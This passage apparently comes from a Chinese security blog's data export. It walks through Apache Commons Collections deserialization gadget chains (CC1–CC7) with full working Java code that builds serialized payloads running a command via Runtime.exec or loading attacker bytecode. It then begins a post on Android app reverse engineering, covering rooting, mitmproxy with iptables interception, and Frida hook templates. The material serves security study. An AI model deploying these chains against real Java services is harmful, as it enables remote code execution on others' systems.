Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);handler.invoke(null,Class.forName("java.lang.Object").getMethod("wait"),null);//触发点 invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。 1234567891011121314151617181920212223242526272829303132public class CC1 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); Object o = declaredConstructor.newInstance(Override.class, m); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC6漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链 CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。 注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下 12345678910111213141516public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; } public Object getValue() { return map.get(key); } public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }} 而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码: 1234567891011121314151617public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...; if (...) { for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } } 进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。 12345678910111213141516171819202122232425262728293031323334353637public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("ccc")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> o = new HashMap<>(); o.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC3还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类 12345678910111213141516171819202122232425262728293031323334353637383940public final class TemplatesImpl implements Templates, Serializable { private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; private String _name = null; private byte[][] _bytecodes = null; private Class[] _class = null; private int _transletIndex = -1; private transient Map<String, Class<?>> _auxClasses = null; private transient TransformerFactoryImpl _tfactory = null; public TemplatesImpl() { } private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (...Exception e) { throw new ...Exception(err.toString()); } } public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }} TrAXFilter类中的构造函数中调用了newTransformer方法 123456789101112public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }} 看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下: 123456789101112131415public class InstantiateTransformer implements Transformer, Serializable { private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException(...); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (...Exception ex) { throw new ...Exception("...", ex); } }} 于是可以完成CC3链的代码: 123456789101112131415161718192021222324252627282930313233343536373839404142434445public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC4从CC4开始,进入到commons collections4的环境中 CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。 在TransformingComparator类中compare方法中调用了transform函数 12345678910111213141516public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(final Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }} 接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法 12345678910111213141516171819202122232425262728293031323334353637383940414243public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable { public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator); } public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void readObject(java.io.ObjectInputStream s) throws ...Exception { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); } 进而写出CC4代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647public class CC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC2和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控) 这里直接给出代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344public class CC2 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC5cc5和cc7链又回到了Commons Collections<=3.2.1的范围 CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法 12345678public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; public Object getValue() { return map.get(key); } public String toString() { return getKey() + "=" + getValue(); } 接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用 123456789101112131415161718192021222324252627public class BadAttributeValueExpException extends Exception { private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }} 最终实现代码: 12345678910111213141516171819202122232425262728293031323334public class CC5 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} CC7CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下: 1234567891011121314151617181920212223242526272829303132333435public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable { private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; for (; elements > 0; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } } private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }} 注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。 12345678910111213141516171819202122232425262728293031323334353637383940public class CC7 { public static void main(String[] args) throws Exception{ Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; HashMap<Object, Object> map = new HashMap<>(); HashMap<Object, Object> map0 = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.put("yy", 1); Map lazyMap0 = LazyMap.decorate(map0, chainedTransformer); lazyMap0.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap0, 2); Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(chainedTransformer, transformers); lazyMap0.remove("yy"); serialize(hashtable); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} 总结一张图来概括","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.lazyforever.top/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Java安全","slug":"Java安全","permalink":"https://blog.lazyforever.top/tags/Java%E5%AE%89%E5%85%A8/"},{"name":"反序列化","slug":"反序列化","permalink":"https://blog.lazyforever.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"},{"name":"CC链","slug":"CC链","permalink":"https://blog.lazyforever.top/tags/CC%E9%93%BE/"}]},{"title":"记一次零基础IOT设备与app交互0day漏洞挖掘学习经历","slug":"2023apkreverse","date":"2023-12-12T02:00:20.000Z","updated":"2023-12-12T16:06:48.668Z","comments":true,"path":"2023/12/12/2023apkreverse/","link":"","permalink":"https://blog.lazyforever.top/2023/12/12/2023apkreverse/","excerpt":"","text":"基础知识apk结构apk是对一个安卓应用程序所需要的文件进行打包,本质上是一个被签名的压缩包。 通常情况下,apk会含有以下文件: asset文件夹:是不需编译的原始资源目录,包含各种静态的资源,如各种配置文件、JavaScript、字体文件、图片文件等。 lib文件夹:动态链接库存放的位置,通常情况下,这个文件夹内部以不同处理器版本还会划分成多个文件夹,如armeabi、armeabi-v7a、x86等,其存放的文件通常为Android Native的代码。 META-INF文件夹:用来存放签名信息,通常会有CERT.RSA、CERT.SF和MANIFEST.MF三个文件。是用来保护apk的所有权和防止apk被恶意篡改。 r文件夹/res文件夹:存放编译资源文件,与asset文件夹相似,区别是其存放的文件是编译后的。通常会包含drawable 文件夹(图片资源文件)、layout 文件夹(布局文件)和values 文件夹(值资源文件)等。r文件夹通常是res文件夹进行混淆后的结果。 AndroidManifest.xml文件:apk的整体配置文件,其中包含了一个apk的各种配置信息,包括包名、应用名、权限、安卓四大组件、版本等重要信息。 dex文件:存放字节码的文件,其反汇编后为smali语言,可转化为Java代码,通常dex文件包含一个apk的主要逻辑。 resources.arsc文件:用来存放应用程序的资源表,包含了应用程序的资源 ID 和资源类型的映射关系。 使用工具jadx/jeb:均为Android程序Java层反编译软件,相对来说jeb反编译能力相对较强,可以看到smali层的代码,而且也有一些混淆对抗的能力 frida:Android程序二进制动态插桩工具,用来动态调试Android程序 xposed:动态调试插件,相对于frida更加稳定 mitmproxy:中间人工具,用来监控并解密app端TLS流量 wireshark:对网卡进行抓包,配合mitmproxy使用可以获取tls解密后的流量信息 ida:用来反编译Android native层代码 iptables:配合mitmproxy透明模式,避免app端流量不经过代理导致tls流量无法被解密 手机:已ROOT adb:用来连接手机的shell 环境搭建获取手机Root权限本次使用的手机是一台Pixel 6,首先需要在电脑上安装adb,过程省略 进入手机开发者模式,打开USB调试开关,连接电脑adb,可以使用adb devices查看是否连接成功,连接成功后开始解BL,输入 1adb reboot bootloader 将手机进入Bootloader界面,此时手机处于fastboot模式下,输入fastboot devices查看是否可以正常连接。输入 1fastboot flashing unlock 成功解锁BL。 注:Pixel手机如果发现进入fastboot模式adb断开的情况,请检查是否是数据线的原因,可以换个数据线试试,这个坑卡了我好久-_- 解锁BL后,一般都会向手机中安装Magisk,它是用来管理Root权限的工具。来源:topjohnwu/Magisk: The Magic Mask for Android (github.com) 下载好安装包后,可以使用adb install命令来安装Magisk,装好Magisk后,接下来进行镜像修补。 在Nexus 和 Pixel 设备的出厂映像 | Google Play services | Google for Developers中下载手机对应的镜像文件,在手机设置 - 关于手机页面的最底端可以看到当前的版本号,在页面中找到对应的镜像下载,下载后将其中的boot.img用adb传输到手机,最后使用Magisk软件进行镜像修补,最后将修补完的镜像文件adb pull出来。 接下来进入最后的刷机步骤,使用adb reboot bootloader再次进入fastboot模式中,使用fastboot boot img地址指令将手机从修补过的img启动,重启后进入Magisk按照步骤安装好即可。 mitmproxy+iptables搭建中间人代理mitmproxy是一个强大的中间人代理工具,与其他中间人代理工具相比,mitmproxy不仅可以转发http/https流量,还可以转发非http流量,如MQTT等。 在Android设备中抓取https流量,我们需要安装mitmproxy的CA证书,由于Android 7开始,应用会默认忽略用户级别的证书,因此,我们需要将CA证书放入系统级别中。 一般情况下,将证书格式先转化为pem格式,然后通过openssl x509 -subject_hash_old -in certificate.pem|head -1命令读取哈希值,将pem证书名字改为刚刚提取的哈希值加.0,如9a5ba575.0,其中.0是为了防止证书哈希值重复,如果两个证书哈希值重复,那么后面的证书就会被重命名为.1、.2等,最后将/system/etc/security/cacerts/目录可写权限打开,将重命名后的证书放进去即可。 我的手机版本为Android 10以上,无法直接通过更改文件夹写入权限来导入证书(也可能是我没有搞好),我使用了Magisk的Always Trust User Certificates模块,直接将证书装在用户目录下,重启后即可导入到系统证书中。 装好证书后,正常情况下手机端连wifi时配置代理后应该是可以解密https流量了,但是,如果app拒绝代理或想要捕获其他tcp流量时,就需要使用mitmproxy透明模式,透明模式的启动命令为mitmproxy --mode transparent --showhost,开启透明模式后,工作原理如下图: 此时,对于手机来说,mitmproxy相当于一个服务器,对于原服务器来说,mitmproxy相当于设备。 由于透明模式需要对网络层进行转发,因此还需要配置iptables,关于iptables的知识可以看这篇博客iptables-朱双印博客 (zsythink.net),在此贴一张iptables的原理图。 我的iptables规则参考了fwx学长的博客基于mitmproxy+iptables+SSL pinning绕过技术+wireshark的安卓APP流量(包括HTTP、HTTPS和非HTTP)捕获 | 代码鬼才的Blog (fwx2233.github.io),如下: 123456789101112131415#!/bin/bash# 写监听的无线网卡的名称WIRELESS_CARD="wlxc01c30151c62"# 开启相关的转发服务sudo sysctl -w net.ipv4.ip_forward=1sudo sysctl -w net.ipv4.conf.all.send_redirects=0# 设置iptables的规则# 将之前的规则清空sudo iptables -F PREROUTING -t nat -i $WIRELESS_CARD# 设置端口转发(MQTT: 8883, HTTP: 80, HTTS: 443)sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 80 -j REDIRECT --to-port 8080sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 443 -j REDIRECT --to-port 8080sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 8883 -j REDIRECT --to-port 8080 最开始我一直想要拿win+mitmproxy透明模式进行抓包,想要通过netsh来代替iptables进行流量转发,然而一直没有成功,如果读者有配置成功的经历麻烦评论区分享一下 接下来配置wireshark,通过捕获mitmproxy密钥交换过程中生成的随机数来进行TLS解密,操作方式也可以直接看官方文档Wireshark and SSL/TLS (mitmproxy.org) 如果时间过长或多次抓包导致生成的随机数文件过大,可能会导致wireshark解密失败,可以定时清空生成的随机数文件。 至此基本环境配置完毕,给出我的最终网络拓扑图。 原理frida进行hookfrida安装过程省略,网上有很多教程可以参考。 frida中有两种操作模式,分别是CLI模式和RPC模式 CLI(命令行)模式:通过命令行直接将JavaScript脚本注入进程中,对进程进行操作 RPC模式:使用Python进行JavaScript脚本的注入工作,实际对进程进行操作的还是JavaScript脚本,可以通过RPC传输给Python脚本来进行复杂数据的处理 frida有两种注入模式,分别是Spawn和Attach Spawn模式:将启动App的权利交由Frida来控制,即使目标App已经启动,在使用Frida注入程序时还是会重新启动App。在命令行模式中需要加入参数-f,可以对从启动就开始对App进行监控。 Attach模式:在目标App已经启动的情况下,Frida通过ptrace注入程序从而执行Hook的操作。如果只关心一个功能时通常会用这种模式。 相关的api可以在官网上查看官方文档Welcome | Frida • A world-class dynamic instrumentation toolkit 给出一个python的框架代码: 123456789101112131415161718import sys,fridajscode = """这里输入你的js代码"""def on_message(message,data): if message["type"] == "send": print(message["payload"]) else: print(message)# process = frida.get_usb_device().spawn("app"))process = frida.get_usb_device().attach("app")script = process.create_script(jscode)script.on("message",on_message)script.load()sys.stdin.read() Java层hookJava层hook示例代码: 1234567891011setImmediate( Java.perform(function () { var targetClass = Java.use(className); // 替换为您的类名 targetClass.examplefunction.implementation = function(a,b,c...){//替换为参数 //调用原始方法 var result = this.examplefunction(a, b, c...); //可以在这里进行各种操作 return result; } });); hook重载参数: 123456789function hook(){ var utils = Java.use(className); //overload定义重载函数,根据函数的参数类型填 utils.expfunc.overload('com.example.Demo$Class','java.lang.String').implementation = function(a,b){ b = "aaaaaaaaaa"; this.expfunc(a,b); console.log(b); }} hook字段修改: 123456789101112131415161718function hook(){ //静态字段修改 var utils = Java.use(className); //修改类的静态字段"flag"的值 utils.staticField.value = "我是被修改的静态变量"; console.log(utils.staticField.value); //非静态字段的修改 //使用`Java.choose()`枚举类的所有实例 Java.choose("com.example.Demo", { onMatch: function(obj){ //修改实例的非静态字段"_privateInt"的值为"123456",并修改非静态字段"privateInt"的值为9999。 obj._privateInt.value = "123456"; //字段名与函数名相同 前面加个下划线 obj.privateInt.value = 9999; }, onComplete: function(){ } });} 对内部类进行hook 12345678function hook(){ //内部类 var innerClass = Java.use("com.example.Demo$innerClass");//如果是匿名类需要反编译查看具体标号 console.log(innerClass); innerClass.$init.implementation = function(){ console.log("hook"); }} 静态方法主动调用 1234function hook(){ var ClassName=Java.use("com.example.Demo"); ClassName.privateFunc("传参");} 非静态方法主动调用 1234567891011var ret;function hook() { Java.choose("com.example.Demo",{ //要hook的类 onMatch:function(instance){ ret=instance.privateFunc("aaaaaaa"); //要hook的方法 }, onComplete:function(){ console.log("result: " + ret); } });} Native层hook枚举so库 123456789101112131415function hook(){ Process.enumerateModules({ onMatch: function (module) { send(module.name + " : " + module.base.toString()); if (module.name == "example.so") { send("example.so found !"); send("hooking..."); send(module.name + " : " + module.base.toString() + " : " + module.size.toString() + " : " + module.path); } }, onComplete: function () { send("end"); } });} hook函数 123456789101112function hook(){ var base_addr = Module.findBaseAddress("example.so"); Interceptor.attach(base_addr.add(0xabcd), {//偏移值 onEnter: function (args) { //args是参数数组 console.log(args[0]); }, onLeave: function (retval) { console.log(retval); } });} 这里有一个偏移值的计算,安卓里一般32 位的 so 中都是thumb指令,64 位的 so 中都是arm指令,通过IDA里的opcode bytes来判断,arm 指令为 4 个字节(options -> general -> Number of opcode bytes (non-graph) 输入4) thumb 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 + 1 arm 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 IDA对so库逆向ida的话就是纯看代码环节了,说几个小技巧吧。 首先就是尽量不要从导出表中反过来找函数,因为有一部分导出表对应的函数是fastcall类型,只观察函数内部有时ida无法将参数识别出来,导致后来再去找函数的调用处时代码都是乱的。 ida有一键生成frida的插件,P4nda0s/IDAFrida: IDA Frida Plugin for tracing something interesting. (github.com)和AnxiangLemon/MyIdaFrida: Generate Frida Script (github.com),可以直接从ida中生成frida的hook脚本,比较方便(虽然我没用过几次) 